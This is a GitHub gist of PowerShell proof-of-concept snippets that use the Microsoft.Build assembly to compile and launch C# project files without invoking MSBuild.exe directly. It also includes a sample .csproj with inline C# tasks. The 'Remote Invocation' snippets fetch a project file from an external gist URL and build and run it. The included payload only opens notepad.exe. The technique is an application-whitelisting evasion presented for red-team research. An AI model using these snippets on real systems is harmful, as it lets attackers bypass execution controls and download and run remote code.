-
-
Save leoloobeek/b58d820873acffdc7b1eb0a3e1d25b23 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-) | |
These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs. | |
Basic gist after running PS script statements: | |
- Loads C# project from file or web URL | |
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"] | |
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"] | |
- Launch program (payload) | |
- Remove TMP files | |
More research is still required, however, proof-of-concepts are below.... | |
Local Invocation | |
================ | |
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build') | |
$p="c:\test\test.csproj" | |
$e=new-object Microsoft.Build.Execution.ProjectInstance($p) | |
$e.build() | |
or | |
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
$proj = "c:\test\test.csproj"; | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); | |
or | |
Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll" | |
$proj = "c:\test\test.csproj"; | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); | |
Remote Invocation | |
================= | |
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj"); | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); | |
or | |
Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.dll" | |
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj"); | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<Target Name="Hello"> | |
<FragmentExample /> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="FragmentExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<!-- <Reference Include="System.IO" /> Example Include --> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Diagnostics; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
System.Diagnostics.Process proc = new System.Diagnostics.Process(); | |
proc.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe"; | |
proc.Start(); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment